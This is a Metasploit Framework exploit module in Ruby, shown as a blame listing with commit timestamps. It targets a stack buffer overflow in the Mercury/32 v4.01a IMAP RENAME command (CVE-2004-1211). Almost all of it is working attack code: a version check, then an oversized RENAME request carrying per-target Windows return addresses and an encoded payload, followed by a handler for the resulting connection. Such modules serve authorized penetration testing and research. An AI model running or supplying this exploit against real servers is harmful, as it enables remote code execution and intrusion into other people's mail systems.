2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-26 21:17:40 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2005-12-05 05:00:27 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2005-12-05 05:00:27 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Imap
|
2005-12-05 05:00:27 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2005-12-05 05:00:27 +00:00
|
|
|
'Name' => 'Mercury/32 v4.01a IMAP RENAME Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow vulnerability in the
|
2007-03-26 21:17:40 +00:00
|
|
|
Mercury/32 v.4.01a IMAP service.
|
2005-12-05 05:00:27 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
2006-06-21 18:38:40 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-12-05 05:00:27 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2004-1211'],
|
2009-09-12 04:22:58 +00:00
|
|
|
[ 'OSVDB', '12508'],
|
2005-12-05 05:00:27 +00:00
|
|
|
[ 'BID', '11775'],
|
2011-10-16 09:53:53 +00:00
|
|
|
[ 'URL', 'http://www.nessus.org/plugins/index.php?view=single&id=15867'],
|
2005-12-05 05:00:27 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 500,
|
|
|
|
'BadChars' => "\x00\x0a\x0d\x20",
|
2006-07-31 00:41:02 +00:00
|
|
|
'StackAdjustment' => -3500,
|
2005-12-05 05:00:27 +00:00
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2005-12-05 05:00:27 +00:00
|
|
|
[
|
|
|
|
['Windows 2000 SP4 English', { 'Ret' => 0x7846107b }],
|
|
|
|
['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0 }],
|
|
|
|
['Windows XP Pro SP1 English', { 'Ret' => 0x77e53877 }],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Nov 29 2004'))
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
connect
|
2007-03-26 21:17:40 +00:00
|
|
|
resp = sock.get_once
|
2005-12-05 05:00:27 +00:00
|
|
|
disconnect
|
2007-03-26 21:17:40 +00:00
|
|
|
|
|
|
|
if (resp =~ /Mercury\/32 v4\.01a/)
|
2005-12-05 05:00:27 +00:00
|
|
|
return Exploit::CheckCode::Vulnerable
|
|
|
|
end
|
2007-03-26 21:17:40 +00:00
|
|
|
return Exploit::CheckCode::Safe
|
2005-12-05 05:00:27 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect_login
|
2007-03-26 21:17:40 +00:00
|
|
|
|
|
|
|
sploit = "a001 RENAME " + rand_text_alpha_upper(260)
|
2010-04-30 08:40:19 +00:00
|
|
|
sploit << [target.ret].pack('V') + payload.encoded
|
2007-03-26 21:17:40 +00:00
|
|
|
|
|
|
|
sock.put(sploit)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2005-12-05 05:00:27 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-09-12 04:22:58 +00:00
|
|
|
end
|